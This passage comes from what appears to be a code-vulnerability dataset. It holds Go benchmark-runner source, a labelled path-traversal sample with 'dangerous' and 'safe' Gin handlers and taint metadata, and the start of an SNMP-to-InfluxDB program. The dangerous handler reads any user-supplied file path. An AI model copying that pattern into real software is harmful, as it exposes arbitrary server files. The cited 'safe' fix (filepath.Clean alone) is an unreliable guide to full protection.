config\n\t\t\tif config.Disabled {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tif verbose == 0 {\n\t\t\tfmt.Print(\"\\nCompiling\")\n\t\t}\n\n\t\tswitch shuffle {\n\t\tcase 0: // N times, for each benchmark, for each configuration, build.\n\t\t\tfor yyy := 0; yyy < buildCount; yyy++ {\n\t\t\t\tfor bi, bench := range todo.Benchmarks {\n\t\t\t\t\tif bench.Disabled {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tfor ci, config := range todo.Configurations {\n\t\t\t\t\t\tif config.Disabled {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t\ts := todo.Configurations[ci].compileOne(&todo.Benchmarks[bi], dirs.wd, yyy)\n\t\t\t\t\t\tif s != \"\" {\n\t\t\t\t\t\t\tgetAndBuildFailures = append(getAndBuildFailures, s)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\tcase 1: // N times, for each benchmark, shuffle configurations and build with\n\t\t\tpermute := make([]int, len(todo.Configurations))\n\t\t\tfor ci, _ := range todo.Configurations {\n\t\t\t\tpermute[ci] = ci\n\t\t\t}\n\n\t\t\tfor yyy := 0; yyy < buildCount; yyy++ {\n\t\t\t\tfor bi, bench := range todo.Benchmarks {\n\t\t\t\t\tif bench.Disabled {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\n\t\t\t\t\trand.Shuffle(len(permute), func(i, j int) { permute[i], permute[j] = permute[j], permute[i] })\n\n\t\t\t\t\tfor ci := range todo.Configurations {\n\t\t\t\t\t\tconfig := &todo.Configurations[permute[ci]]\n\t\t\t\t\t\tif config.Disabled {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t\ts := config.compileOne(&todo.Benchmarks[bi], dirs.wd, yyy)\n\t\t\t\t\t\tif s != \"\" {\n\t\t\t\t\t\t\tgetAndBuildFailures = append(getAndBuildFailures, s)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\tcase 2: // N times, shuffle combination of benchmarks and configuration, build them all\n\t\t\tpermute := make([]pair, len(todo.Configurations)*len(todo.Benchmarks))\n\t\t\ti := 0\n\t\t\tfor bi := range todo.Benchmarks {\n\t\t\t\tfor ci := range todo.Configurations {\n\t\t\t\t\tpermute[i] = pair{b: bi, c: ci}\n\t\t\t\t\ti++\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfor yyy := 0; yyy < buildCount; yyy++ {\n\t\t\t\trand.Shuffle(len(permute), func(i, j int) { permute[i], permute[j] = permute[j], permute[i] })\n\t\t\t\tfor _, p := range permute {\n\t\t\t\t\tbench := &todo.Benchmarks[p.b]\n\t\t\t\t\tconfig := &todo.Configurations[p.c]\n\t\t\t\t\tif bench.Disabled || config.Disabled {\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\ts := config.compileOne(bench, dirs.wd, yyy)\n\t\t\t\t\tif s != \"\" {\n\t\t\t\t\t\tgetAndBuildFailures = append(getAndBuildFailures, s)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\tcase 3: // Shuffle all the N copies of all the benchmark and configuration pairs, build them all.\n\t\t\tpermute := make([]triple, buildCount*len(todo.Configurations)*len(todo.Benchmarks))\n\t\t\ti := 0\n\t\t\tfor k := 0; k < buildCount; k++ {\n\t\t\t\tfor bi := range todo.Benchmarks {\n\t\t\t\t\tfor ci := range todo.Configurations {\n\t\t\t\t\t\tpermute[i] = triple{b: bi, c: ci, k: k}\n\t\t\t\t\t\ti++\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\trand.Shuffle(len(permute), func(i, j int) { permute[i], permute[j] = permute[j], permute[i] })\n\n\t\t\tfor _, p := range permute {\n\t\t\t\tbench := &todo.Benchmarks[p.b]\n\t\t\t\tconfig := &todo.Configurations[p.c]\n\t\t\t\tif bench.Disabled || config.Disabled {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\ts := config.compileOne(bench, dirs.wd, p.k)\n\t\t\t\tif s != \"\" {\n\t\t\t\t\tgetAndBuildFailures = append(getAndBuildFailures, s)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif verbose == 0 {\n\t\t\tfmt.Println()\n\t\t}\n\n\t\t// As needed, create the sandbox.\n\t\tif needSandbox {\n\t\t\tif verbose == 0 {\n\t\t\t\tfmt.Print(\"Making sandbox\")\n\t\t\t}\n\t\t\tcmd := exec.Command(\"docker\", \"build\", \"-q\", \".\")\n\t\t\tif verbose > 0 {\n\t\t\t\tfmt.Println(asCommandLine(dirs.wd, cmd))\n\t\t\t}\n\t\t\t// capture standard output to get container name\n\t\t\toutput, err := cmd.Output()\n\t\t\tif err != nil {\n\t\t\t\tee := err.(*exec.ExitError)\n\t\t\t\tfmt.Printf(\"There was an error running 'docker build', stderr = %s\\n\", ee.Stderr)\n\t\t\t\tos.Exit(2)\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// Docker prints stuff AFTER the container, thanks, Docker.\n\t\t\tsc := bufio.NewScanner(bytes.NewReader(output))\n\t\t\tif !sc.Scan() {\n\t\t\t\tfmt.Printf(\"Could not scan line from '%s'\\n\", string(output))\n\t\t\t\tos.Exit(2)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tcontainer = strings.TrimSpace(sc.Text())\n\t\t\tif verbose == 0 {\n\t\t\t\tfmt.Println()\n\t\t\t}\n\t\t\tfmt.Printf(\"Container for sandboxed bench/test runs is %s\\n\", container)\n\t\t}\n\t} else {\n\t\tcontainer = runContainer\n\t\tif getOnly { // -r -g is a bit of a no-op, but that's what it implies.\n\t\t\treturn\n\t\t}\n\t}\n\n\tvar failures []string\n\n\t// If there's a bad error running one of the benchmarks, report what we've got, please.\n\tdefer func(t *Todo) {\n\t\tfor _, config := range todo.Configurations {\n\t\t\tif !config.Disabled { // Don't overwrite if something was disabled.\n\t\t\t\tconfig.benchWriter.Close()\n\t\t\t}\n\t\t}\n\t\tif needSandbox {\n\t\t\t// Print this a second time so it doesn't get missed.\n\t\t\tfmt.Printf(\"Container for sandboxed bench/test runs is %s\\n\", container)\n\t\t}\n\t\tif len(failures) > 0 {\n\t\t\tfmt.Println(\"FAILURES:\")\n\t\t\tfor _, f := range failures {\n\t\t\t\tfmt.Println(f)\n\t\t\t}\n\t\t}\n\t\tif len(getAndBuildFailures) > 0 {\n\t\t\tfmt.Println(\"Get and build failures:\")\n\t\t\tfor _, f := range getAndBuildFailures {\n\t\t\t\tfmt.Println(f)\n\t\t\t}\n\t\t}\n\t}(todo)\n\n\tmaxrc := 0\n\n\t// N repetitions for each configurationm, run all the benchmarks.\n\t// TODO randomize the benchmarks and configurations, like for builds.\n\tfor i := 0; i < N; i++ {\n\t\t// For each configuration, run all the benchmarks.\n\t\tfor j, config := range todo.Configurations {\n\t\t\tif config.Disabled {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tfor _, b := range todo.Benchmarks {\n\t\t\t\tif b.Disabled {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\troot := config.Root\n\n\t\t\t\twrapperPrefix := \"/\"\n\t\t\t\tif b.NotSandboxed {\n\t\t\t\t\twrapperPrefix = dirs.wd + \"/\"\n\t\t\t\t}\n\t\t\t\twrapperFor := func(s []string) string {\n\t\t\t\t\tx := \"\"\n\t\t\t\t\tif len(s) > 0 {\n\t\t\t\t\t\t// If not an explicit path, then make it an explicit path\n\t\t\t\t\t\tx = s[0]\n\t\t\t\t\t\tif x[0] != '/' {\n\t\t\t\t\t\t\tx = wrapperPrefix + x\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\treturn x\n\t\t\t\t}\n\n\t\t\t\tconfigWrapper := wrapperFor(config.RunWrapper)\n\t\t\t\tbenchWrapper := wrapperFor(b.RunWrapper)\n\n\t\t\t\ttestBinaryName := config.benchName(&b)\n\t\t\t\tvar s string\n\t\t\t\tvar rc int\n\n\t\t\t\tvar wrappersAndBin []string\n\n\t\t\t\tif configWrapper != \"\" {\n\t\t\t\t\twrappersAndBin = append(wrappersAndBin, configWrapper)\n\t\t\t\t\twrappersAndBin = append(wrappersAndBin, config.RunWrapper[1:]...)\n\t\t\t\t}\n\t\t\t\tif benchWrapper != \"\" {\n\t\t\t\t\twrappersAndBin = append(wrappersAndBin, benchWrapper)\n\t\t\t\t\twrappersAndBin = append(wrappersAndBin, b.RunWrapper[1:]...)\n\t\t\t\t}\n\n\t\t\t\tif b.NotSandboxed {\n\t\t\t\t\ttestdir := path.Join(dirs.gopath, \"src\", b.Repo)\n\t\t\t\t\tbin := path.Join(dirs.wd, dirs.testBinDir, testBinaryName)\n\t\t\t\t\twrappersAndBin = append(wrappersAndBin, bin)\n\n\t\t\t\t\tcmd := exec.Command(wrappersAndBin[0], wrappersAndBin[1:]...)\n\t\t\t\t\tcmd.Args = append(cmd.Args, \"-test.run=\"+b.Tests)\n\t\t\t\t\tcmd.Args = append(cmd.Args, \"-test.bench=\"+b.Benchmarks)\n\n\t\t\t\t\tcmd.Dir = testdir\n\t\t\t\t\tcmd.Env = defaultEnv\n\t\t\t\t\tif root != \"\" {\n\t\t\t\t\t\tcmd.Env = replaceEnv(cmd.Env, \"GOROOT\", root)\n\t\t\t\t\t}\n\t\t\t\t\tcmd.Env = replaceEnvs(cmd.Env, config.RunEnv)\n\t\t\t\t\tcmd.Env = append(cmd.Env, \"BENT_DIR=\"+dirs.wd)\n\t\t\t\t\tcmd.Env = append(cmd.Env, \"BENT_BINARY=\"+testBinaryName)\n\t\t\t\t\tcmd.Env = append(cmd.Env, \"BENT_I=\"+strconv.FormatInt(int64(i), 10))\n\t\t\t\t\tcmd.Args = append(cmd.Args, config.RunFlags...)\n\t\t\t\t\tcmd.Args = append(cmd.Args, moreArgs...)\n\t\t\t\t\ts, rc = todo.Configurations[j].runBinary(dirs.wd, cmd, false)\n\t\t\t\t} else {\n\t\t\t\t\t// docker run --net=none -e GOROOT=... -w /src/github.com/minio/minio/cmd $D /testbin/cmd_Config.test -test.short -test.run=Nope -test.v -test.bench=Benchmark'(Get|Put|List)'\n\t\t\t\t\t// TODO(jfaller): I don't think we need either of these \"/\" below, investigate...\n\t\t\t\t\ttestdir := \"/\" + path.Join(\"gopath\", \"src\", b.Repo)\n\t\t\t\t\tbin := \"/\" + path.Join(dirs.testBinDir, testBinaryName)\n\t\t\t\t\twrappersAndBin = append(wrappersAndBin, bin)\n\n\t\t\t\t\tcmd := exec.Command(\"docker\", \"run\", \"--net=none\",\n\t\t\t\t\t\t\"-w\", testdir)\n\t\t\t\t\tfor _, e := range config.RunEnv {\n\t\t\t\t\t\tcmd.Args = append(cmd.Args, \"-e\", e)\n\t\t\t\t\t}\n\t\t\t\t\tcmd.Args = append(cmd.Args, \"-e\", \"BENT_DIR=/\") // TODO this is not going to work well\n\t\t\t\t\tcmd.Args = append(cmd.Args, \"-e\", \"BENT_BINARY=\"+testBinaryName)\n\t\t\t\t\tcmd.Args = append(cmd.Args, \"-e\", \"BENT_I=\"+strconv.FormatInt(int64(i), 10))\n\t\t\t\t\tcmd.Args = append(cmd.Args, container)\n\t\t\t\t\tcmd.Args = append(cmd.Args, wrappersAndBin...)\n\t\t\t\t\tcmd.Args = append(cmd.Args, \"-test.run=\"+b.Tests)\n\t\t\t\t\tcmd.Args = append(cmd.Args, \"-test.bench=\"+b.Benchmarks)\n\t\t\t\t\tcmd.Args = append(cmd.Args, config.RunFlags...)\n\t\t\t\t\tcmd.Args = append(cmd.Args, moreArgs...)\n\t\t\t\t\ts, rc = todo.Configurations[j].runBinary(dirs.wd, cmd, false)\n\t\t\t\t}\n\t\t\t\tif s != \"\" {\n\t\t\t\t\tfmt.Println(s)\n\t\t\t\t\tfailures = append(failures, s)\n\t\t\t\t}\n\t\t\t\tif rc > maxrc {\n\t\t\t\t\tmaxrc = rc\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\tif maxrc > 0 {\n\t\tos.Exit(maxrc)\n\t}\n}\n\nfunc escape(s string) string {\n\ts = strings.Replace(s, \"\\\\\", \"\\\\\\\\\", -1)\n\ts = strings.Replace(s, \"'\", \"\\\\'\", -1)\n\t// Conservative guess at characters that will force quoting\n\tif strings.ContainsAny(s, \"\\\\ ;#*&$~?!|[]()<>{}`\") {\n\t\ts = \" '\" + s + \"'\"\n\t} else {\n\t\ts = \" \" + s\n\t}\n\treturn s\n}\n\n// asCommandLine renders cmd as something that could be copy-and-pasted into a command line\nfunc asCommandLine(cwd string, cmd *exec.Cmd) string {\n\ts := \"(\"\n\tif cmd.Dir != \"\" && cmd.Dir != cwd {\n\t\ts += \"cd\" + escape(cmd.Dir) + \";\"\n\t}\n\tfor _, e := range cmd.Env {\n\t\tif !strings.HasPrefix(e, \"PATH=\") &&\n\t\t\t!strings.HasPrefix(e, \"HOME=\") &&\n\t\t\t!strings.HasPrefix(e, \"USER=\") &&\n\t\t\t!strings.HasPrefix(e, \"SHELL=\") {\n\t\t\ts += escape(e)\n\t\t}\n\t}\n\tfor _, a := range cmd.Args {\n\t\ts += escape(a)\n\t}\n\ts += \" )\"\n\treturn s\n}\n\n// checkAndSetUpFileSystem does a number of tasks to ensure that the tests will\n// run properly. It:\n//\n// - Makes sure we're not going to accidentally overwrite previous results\n// - if shouldInit is true, we:\n// - Create a Dockerfile.\n// - Create all the configuration files.\n// - Exit\nfunc checkAndSetUpFileSystem(shouldInit bool) error {\n\t// To avoid bad surprises, look for pkg and bin, if they exist, refuse to run\n\t_, derr := os.Stat(\"Dockerfile\")\n\t_, perr := os.Stat(path.Join(\"gopath\", \"pkg\"))\n\t_, berr := os.Stat(path.Join(\"gopath\", \"bin\"))\n\t_, serr := os.Stat(path.Join(\"gopath\", \"src\")) // existence of src prevents initialization of Dockerfile\n\n\tif perr == nil || berr == nil {\n\t\tif !force {\n\t\t\treturn errors.New(\"Building/running tests will trash gopath/pkg and gopath/bin, please remove, rename or run in another directory, or use -f to force.\\n\")\n\t\t}\n\t\tfmt.Printf(\"Building/running tests will trash gopath/pkg and gopath/bin, but force, so removing.\\n\")\n\t\tcleanup(\"gopath\")\n\t}\n\tif derr != nil && !shouldInit {\n\t\t// Missing Dockerfile\n\t\treturn errors.New(\"Missing 'Dockerfile', please rerun with -I (initialize) flag if you intend to use this directory.\\n\")\n\t}\n\n\tif shuffle < 0 || shuffle > 3 {\n\t\treturn fmt.Errorf(\"Shuffle value (-s) ought to be between 0 and 3, inclusive, instead is %d\\n\", shuffle)\n\t}\n\n\t// Initialize the directory, copying in default benchmarks and sample configurations, and creating a Dockerfile\n\tif shouldInit {\n\t\tif serr == nil {\n\t\t\tfmt.Printf(\"It looks like you've already initialized this directory, remove ./gopath if you want to reinit.\\n\")\n\t\t\tos.Exit(1)\n\t\t}\n\t\tfor _, s := range copyExes {\n\t\t\tcopyAsset(scripts, \"scripts\", s)\n\t\t\tos.Chmod(s, 0755)\n\t\t}\n\t\tfor _, s := range copyConfigs {\n\t\t\tcopyAsset(configs, \"configs\", s)\n\t\t}\n\n\t\terr := ioutil.WriteFile(\"Dockerfile\",\n\t\t\t[]byte(`\nFROM ubuntu\nADD . /\n`), 0664)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfmt.Printf(\"Created Dockerfile\\n\")\n\t\tos.Exit(0)\n\t}\n\treturn nil\n}\n\nfunc copyAsset(fs embed.FS, dir, file string) {\n\tf, err := fs.Open(path.Join(dir, file))\n\tif err != nil {\n\t\tfmt.Printf(\"Error opening asset %s\\n\", file)\n\t\tos.Exit(1)\n\t}\n\tstat, err := f.Stat()\n\tif err != nil {\n\t\tfmt.Printf(\"Error reading stats %s\\n\", file)\n\t\tos.Exit(1)\n\t}\n\tbytes := make([]byte, stat.Size())\n\tif l, err := f.Read(bytes); err != nil || l != int(stat.Size()) {\n\t\tfmt.Printf(\"Error reading asset %s\\n\", file)\n\t\tos.Exit(1)\n\t}\n\terr = ioutil.WriteFile(file, bytes, 0664)\n\tif err != nil {\n\t\tfmt.Printf(\"Error writing %s\\n\", file)\n\t\tos.Exit(1)\n\t}\n\tfmt.Printf(\"Copied asset %s to current directory\\n\", file)\n}\n\ntype directories struct {\n\twd, gopath, goroots, testBinDir, benchDir string\n}\n\n// createDirectories creates all the directories we need.\nfunc createDirectories(mode fs.FileMode) (*directories, error) {\n\tcwd, err := os.Getwd()\n\tif err != nil {\n\t\tfmt.Printf(\"Could not get current working directory %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdirs := &directories{\n\t\twd: cwd,\n\t\tgopath: path.Join(cwd, \"gopath\"),\n\t\tgoroots: path.Join(cwd, \"goroots\"),\n\t\ttestBinDir: \"testbin\",\n\t\tbenchDir: \"bench\",\n\t}\n\tfor _, d := range []string{dirs.gopath, dirs.goroots, path.Join(cwd, dirs.testBinDir), path.Join(cwd, dirs.benchDir)} {\n\t\tif err := os.Mkdir(d, mode); err != nil && !errors.Is(err, fs.ErrExist) {\n\t\t\treturn nil, fmt.Errorf(\"error creating %v: %v\", d, err)\n\t\t}\n\t}\n\treturn dirs, nil\n}\n\n// testBinaryName returns the name of the binary produced by \"go test -c\"\nfunc (b *Benchmark) testBinaryName() string {\n\treturn b.Repo[strings.LastIndex(b.Repo, \"/\")+1:] + \".test\"\n}\n\n// inheritEnv extracts ev from the os environment and\n// returns env extended with that new environment variable.\n// Does not check if ev already exists in env.\nfunc inheritEnv(env []string, ev string) []string {\n\tevv := os.Getenv(ev)\n\tif evv != \"\" {\n\t\tenv = append(env, ev+\"=\"+evv)\n\t}\n\treturn env\n}\n\nfunc getenv(env []string, ev string) string {\n\tevplus := ev + \"=\"\n\tfor _, v := range env {\n\t\tif strings.HasPrefix(v, evplus) {\n\t\t\treturn v[len(evplus):]\n\t\t}\n\t}\n\treturn \"\"\n}\n\n// replaceEnv returns a new environment derived from env\n// by removing any existing definition of ev and adding ev=evv.\nfunc replaceEnv(env []string, ev string, evv string) []string {\n\tevplus := ev + \"=\"\n\tvar newenv []string\n\tfor _, v := range env {\n\t\tif !strings.HasPrefix(v, evplus) {\n\t\t\tnewenv = append(newenv, v)\n\t\t}\n\t}\n\tnewenv = append(newenv, evplus+evv)\n\treturn newenv\n}\n\n// replaceEnv returns a new environment derived from env\n// by replacing or adding all modifiers in newevs.\nfunc replaceEnvs(env, newevs []string) []string {\n\tfor _, e := range newevs {\n\t\tvar newenv []string\n\t\teq := strings.IndexByte(e, '=')\n\t\tif eq == -1 {\n\t\t\tpanic(\"Bad input to replaceEnvs, ought to be slice of e=v\")\n\t\t}\n\t\tevplus := e[0 : eq+1]\n\t\tfor _, v := range env {\n\t\t\tif !strings.HasPrefix(v, evplus) {\n\t\t\t\tnewenv = append(newenv, v)\n\t\t\t}\n\t\t}\n\t\tenv = append(newenv, e)\n\t}\n\treturn env\n}\n\n// ifMissingAddEnv returns a new environment derived from env\n// by adding ev=evv if env does not define env.\nfunc ifMissingAddEnv(env []string, ev string, evv string) []string {\n\tevplus := ev + \"=\"\n\tfor _, v := range env {\n\t\tif strings.HasPrefix(v, evplus) {\n\t\t\treturn env\n\t\t}\n\t}\n\tenv = append(env, evplus+evv)\n\treturn env\n}\n\n// csToset converts a comma-separated string into the set of strings between the commas.\nfunc csToSet(s string) map[string]bool {\n\tif s == \"\" {\n\t\treturn nil\n\t}\n\tm := make(map[string]bool)\n\tss := strings.Split(s, \",\")\n\tfor _, sss := range ss {\n\t\tm[sss] = true\n\t}\n\treturn m\n}\n\n// counterFlag is a flag.Value that is like a flag.Bool and a flag.Int.\n// If used as -name, it increments the counterFlag, but -name=x sets the counterFlag.\n// Used for verbose flag -v and build-all flag -a\ntype counterFlag int\n\nfunc (c *counterFlag) String() string {\n\treturn fmt.Sprint(int(*c))\n}\n\nfunc (c *counterFlag) Set(s string) error {\n\tswitch s {\n\tcase \"true\":\n\t\t*c++\n\tcase \"false\":\n\t\t*c = 0\n\tdefault:\n\t\tn, err := strconv.Atoi(s)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"invalid count %q\", s)\n\t\t}\n\t\t*c = counterFlag(n)\n\t}\n\treturn nil\n}\n\nfunc (c *counterFlag) IsBoolFlag() bool {\n\treturn true\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 147, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 147, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 220, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "07df1e2883866298ee811e21b8e8ad026e588f500dce17c5fdabfc2ee0f84aff", "license": {"spdx": ["BSD-2-Clause"], "repo": "LindsayHill/influxsnmp", "path": "main.go", "repo_head_hexsha": "59f47261f0ceed520ef9c3e277610666e560b812", "stack_hexsha": "acd4eb8ef1521314cfa36864f42b39927c4ed647", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 227, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\tclient \"github.com/influxdata/influxdb/client/v2\"\n\t\"github.com/kardianos/osext\"\n\tsnmp \"github.com/paulstuart/snmputil\"\n\t\"gopkg.in/gcfg.v1\"\n)\n\nconst layout = \"2006-01-02 15:04:05\"\n\n// SnmpConfig specifies the snmp device to probe\ntype SnmpConfig struct {\n\tHost string `gcfg:\"host\"`\n\tCommunity string `gcfg:\"community\"`\n\tVersion string `gcfg:\"version\"`\n\tPort int `gcfg:\"port\"`\n\tRetries int `gcfg:\"retries\"`\n\tTimeout int `gcfg:\"timeout\"`\n\tFreq int `gcfg:\"freq\"`\n\tCount int `gcfg:\"count\"`\n\tAliases string `gcfg:\"aliases\"`\n\tConfig string `gcfg:\"config\"`\n\tRename string `gcfg:\"rename\"`\n\tMibs string `gcfg:\"mibs\"`\n\tTags string `gcfg:\"tags\"`\n\tDisabled bool `gcfg:\"disabled\"`\n}\n\n// CommonConfig specifies general parameters\ntype CommonConfig struct {\n\tHTTPPort int `gcfg:\"httpPort\"`\n\tTags string `gcfg:\"tags\"`\n\tMibs string `gcfg:\"mibs\"`\n\tMibFile string `gcfg:\"mibfile\"`\n\tElapsed bool `gcfg:\"elapsed\"`\n}\n\n// MibConfig specifies what OIDs to query\ntype MibConfig struct {\n\tName string `gcfg:\"name\"`\n\tIndex string `gcfg:\"index\"`\n\tRegexps []string `gcfg:\"regexp\"`\n\tKeep bool `gcfg:\"keep\"`\n\tCount int `gcfg:\"count\"`\n}\n\n// InfluxConfig defines connection requirements\ntype InfluxConfig struct {\n\tURL string `gcfg:\"url\"`\n\tDatabase string `gcfg:\"database\"`\n\tUsername string `gcfg:\"username\"`\n\tPassword string `gcfg:\"password\"`\n\tRetention string `gcfg:\"retention\"`\n\tConsistency string `gcfg:\"consistency\"`\n\tSkipVerify bool `gcfg:\"skip_verify\"`\n\tTimeout int `gcfg:\"timeout\"`\n\tBatchSize int `gcfg:\"batchSize\"`\n\tQueueSize int `gcfg:\"queueSize\"`\n\tFlush int `gcfg:\"flush\"`\n}\n\ntype snmpStats struct {\n\tGetCnt int\n\tErrCnt int\n\tLastError error\n\tLastTime time.Time\n}\n\ntype statsFunc func() snmpStats\n\ntype snmpInfo struct {\n\tName string\n\tConfig *SnmpConfig\n\tMIB *MibConfig\n}\n\n// SystemStatus provides operating statistics\ntype SystemStatus struct {\n\tPeriod string\n\tStarted string\n\tUptime string\n\tDB string\n\tSNMP map[string]*SnmpConfig\n\tInflux map[string]*InfluxConfig\n\tSnmpStats map[string]snmpStats\n}\n\n// TimeStamp contains the start and stop time of PDU collection\ntype TimeStamp snmp.TimeStamp\n\nvar (\n\tstartTime = time.Now()\n\tquit sync.WaitGroup\n\tverbose bool\n\tsample bool\n\tdump bool\n\tfilter bool\n\thttpPort = 8080\n\tappdir, _ = osext.ExecutableFolder()\n\tconfigFile = filepath.Join(appdir, \"config.gcfg\")\n\tmibs string\n\tstatsMap = make(map[string]statsFunc)\n\tlogger *log.Logger\n\tcommonTags map[string]string\n\tsLock sync.Mutex\n\n\tcfg = struct {\n\t\tSnmp map[string]*SnmpConfig\n\t\tMibs map[string]*MibConfig\n\t\tInflux map[string]*InfluxConfig\n\t\tCommon CommonConfig\n\t}{}\n)\n\nfunc getSenders() map[string]Sender {\n\ts := map[string]Sender{}\n\tfor name, c := range cfg.Influx {\n\t\tsender, err := makeSender(c)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\ts[name] = sender\n\t}\n\treturn s\n}\n\nfunc (c *SnmpConfig) profiles() []snmp.Profile {\n\thosts := strings.Fields(c.Host)\n\tlist := make([]snmp.Profile, 0, len(hosts))\n\tfor _, host := range hosts {\n\t\tp := snmp.Profile{\n\t\t\tHost: host,\n\t\t\tCommunity: c.Community,\n\t\t\tVersion: c.Version,\n\t\t\tPort: c.Port,\n\t\t\tRetries: c.Retries,\n\t\t\tTimeout: c.Timeout,\n\t\t}\n\t\tlist = append(list, p)\n\t}\n\treturn list\n}\n\nfunc criteria(s *SnmpConfig, m *MibConfig) []snmp.Criteria {\n\tregexps := make([]string, 0, len(m.Regexps))\n\tfor _, r := range m.Regexps {\n\t\tfor _, x := range strings.Fields(r) {\n\t\t\tregexps = append(regexps, x)\n\t\t}\n\t}\n\n\tnames := strings.Fields(m.Name)\n\tlist := make([]snmp.Criteria, 0, len(names))\n\tfor _, name := range names {\n\t\tcount := s.Count\n\t\tif m.Count > 0 {\n\t\t\tcount = m.Count\n\t\t}\n\t\tcrit := snmp.Criteria{\n\t\t\tOID: name,\n\t\t\tIndex: m.Index,\n\t\t\tRegexps: regexps,\n\t\t\tKeep: m.Keep,\n\t\t\tTags: pairs(s.Tags),\n\t\t\tFreq: s.Freq,\n\t\t\tAliases: pairs(s.Aliases),\n\t\t\tRename: pairs(s.Rename),\n\t\t\tCount: count,\n\t\t}\n\n\t\tfor k, v := range commonTags {\n\t\t\tcrit.Tags[k] = v\n\t\t}\n\t\tlist = append(list, crit)\n\t}\n\n\treturn list\n}\n\nfunc status() SystemStatus {\n\treturn SystemStatus{\n\t\tStarted: startTime.Format(layout),\n\t\tUptime: time.Now().Sub(startTime).String(),\n\t\tSNMP: cfg.Snmp,\n\t\tInflux: cfg.Influx,\n\t\tSnmpStats: getStats(),\n\t}\n}\n\nfunc pairs(list string) map[string]string {\n\tt := make(map[string]string)\n\tfor _, item := range strings.Fields(list) {\n\t\tif pair := strings.Split(item, \"=\"); len(pair) == 2 {\n\t\t\tt[pair[0]] = pair[1]\n\t\t}\n\t}\n\treturn t\n}\n\nfunc init() {\n\tlog.SetOutput(os.Stderr)\n\n\tflag.BoolVar(&sample, \"sample\", sample, \"print a sample of collected values and exit\")\n\tflag.BoolVar(&dump, \"dump\", dump, \"print output of parsed mibs and exit\")\n\tflag.BoolVar(&filter, \"filter\", filter, \"(filtered by used OIDs) output of dump option\")\n\tflag.StringVar(&configFile, \"config\", configFile, \"config file\")\n\tflag.BoolVar(&verbose, \"verbose\", verbose, \"verbose mode\")\n\tflag.IntVar(&httpPort, \"http\", httpPort, \"http port\")\n\tflag.StringVar(&mibs, \"mibs\", mibs, \"mibs to use\")\n\tflag.Parse()\n\n\t// now load up config settings\n\tif _, err := os.Stat(configFile); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdata, err := ioutil.ReadFile(configFile)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\terr = gcfg.ReadStringInto(&cfg, string(data))\n\tif err != nil {\n\t\tlog.Fatalf(\"Failed to parse gcfg data: %s\", err)\n\t}\n\thttpPort = cfg.Common.HTTPPort\n\n\tcommonTags = pairs(cfg.Common.Tags)\n\n\tif len(mibs) == 0 {\n\t\tmibs = cfg.Common.Mibs\n\t}\n\n\tif verbose {\n\t\tlogger = log.New(os.Stderr, \"\", 0)\n\t}\n}\n\nfunc errFn(err error) {\n\tlog.Println(err)\n}\n\nfunc makeSender(cfg *InfluxConfig) (Sender, error) {\n\tconf := client.HTTPConfig{\n\t\tAddr: cfg.URL,\n\t\tUsername: cfg.Username,\n\t\tPassword: cfg.Password,\n\t\tTimeout: (time.Duration(cfg.Timeout) * time.Second),\n\t\tInsecureSkipVerify: cfg.SkipVerify,\n\t}\n\tbatch := client.BatchPointsConfig{\n\t\tPrecision: \"s\",\n\t\tDatabase: cfg.Database,\n\t\tRetentionPolicy: cfg.Retention,\n\t\tWriteConsistency: 